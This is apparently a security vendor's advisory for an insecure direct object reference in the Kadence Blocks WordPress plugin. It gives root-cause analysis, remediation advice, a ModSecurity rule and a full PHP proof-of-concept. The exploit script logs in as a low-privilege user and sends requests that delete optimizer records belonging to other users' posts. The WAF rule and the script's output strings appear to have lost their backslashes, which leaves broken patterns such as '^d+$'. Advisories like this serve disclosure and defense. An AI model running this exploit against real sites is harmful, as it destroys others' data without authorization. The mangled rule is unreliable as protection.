Atomic Edge analysis of CVE-2026-12904 (metadata-based):
This vulnerability affects the Kadence Blocks plugin (version 3.7.7 and earlier). The plugin’s Optimize_Rest_Controller REST API endpoints perform insecure direct object reference. An authenticated attacker with Contributor-level access or higher can read, modify, or delete optimizer analysis records belonging to other users’ posts.
The root cause is a mismatch between authorization and resource access. The REST controller checks the capability (edit_post/delete_post) against a user-supplied post_id parameter but uses a completely separate post_path parameter to key the actual database record via sha256($post_path). No verification ensures post_path corresponds to post_id. This CWE-639 pattern is inferred from the description; the code is not available for confirmation.
Attackers exploit this by submitting a REST API request to endpoints such as /wp-json/kadence-blocks/v1/optimize/bulk-delete, /wp-json/kadence-blocks/v1/optimize/item, or similar. The attacker provides a valid post_id they control (passing the capability check) alongside a crafted post_path containing the path of a victim’s post. The server computes sha256(victim_post_path) and deletes or reads that record, even though the attacker lacks permission on the victim’s post.
Remediation requires the plugin to validate that the post_path parameter corresponds to the post_id parameter before performing any operation. The storage key should derive directly from post_id, not from an independent user-supplied path. Alternatively, authorization should be checked against the target record’s owner rather than a separate post_id.
Impact is limited to reading or deleting optimizer analysis records (CVSS 4.3, medium severity). This could expose performance data or trends about private posts. The plugin’s patch version 3.7.8 likely addresses this by correlating post_path with post_id.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-12904 (metadata-based)
# Blocks exploitation of IDOR in Kadence Blocks optimizer endpoints
SecRule REQUEST_URI "@beginsWith /wp-json/kadence-blocks/v1/optimize/"
"id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-12904: Kadence Blocks IDOR via post_path parameter',severity:'WARNING',tag:'CVE-2026-12904',tag:'wordpress',tag:'plugin-kadence-blocks'"
SecRule ARGS_POST:post_id "@rx ^d+$" "chain"
SecRule ARGS_POST:post_paths "@rx ^[.*]$" ""
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-12904 - Kadence Blocks <= 3.7.7 - Insecure Direct Object Reference to Authenticated (Contributor+) Arbitrary Optimizer Data Deletion via 'post_path' Parameter
// Configurable target URL (with WordPress installation)
$target_url = 'http://example.com'; // CHANGE THIS
// Target REST API endpoint (inferred from plugin structure)
$endpoint = '/wp-json/kadence-blocks/v1/optimize/bulk-delete';
// Attacker credentials (must have Contributor+ role)
$username = 'attacker';
$password = 'attacker_password';
// Step 1: Login to WordPress
$login_url = $target_url . '/wp-login.php';
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $login_url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => 1
]),
CURLOPT_COOKIEJAR => '/tmp/cve_cookies.txt',
CURLOPT_RETURNTRANSFER => true,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_SSL_VERIFYPEER => false
]);
curl_exec($ch);
// Step 2: Get REST API nonce
$nonce_url = $target_url . '/wp-admin/admin-ajax.php?action=rest-nonce';
curl_setopt_array($ch, [
CURLOPT_URL => $nonce_url,
CURLOPT_HTTPGET => true
]);
$nonce = trim(curl_exec($ch));
// Step 3: Exploit - Delete optimizer records for victim posts by providing attacker's post_id but victim's post_path
// Victim post paths (example paths)
$victim_paths = [
'/2026/01/victim-post-1',
'/2026/01/victim-post-2'
];
// Attacker supplies own post_id that passes edit_post capability check
$attacker_post_id = 123; // Replace with a post ID the attacker can edit
$payload = [
'post_id' => $attacker_post_id,
'post_paths' => $victim_paths
];
$api_url = $target_url . $endpoint;
$headers = [
'Content-Type: application/json',
'X-WP-Nonce: ' . $nonce
];
curl_setopt_array($ch, [
CURLOPT_URL => $api_url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => json_encode($payload),
CURLOPT_HTTPHEADER => $headers,
CURLOPT_COOKIEFILE => '/tmp/cve_cookies.txt',
CURLOPT_RETURNTRANSFER => true
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if ($http_code == 200) {
echo "[+] Successfully deleted optimizer records for victim post paths.n";
echo "[+] Response: " . $response . "n";
} else {
echo "[-] Exploit failed. HTTP code: $http_coden";
echo "[-] Response: " . $response . "n";
}
curl_close($ch);
// Clean up cookie file
@unlink('/tmp/cve_cookies.txt');
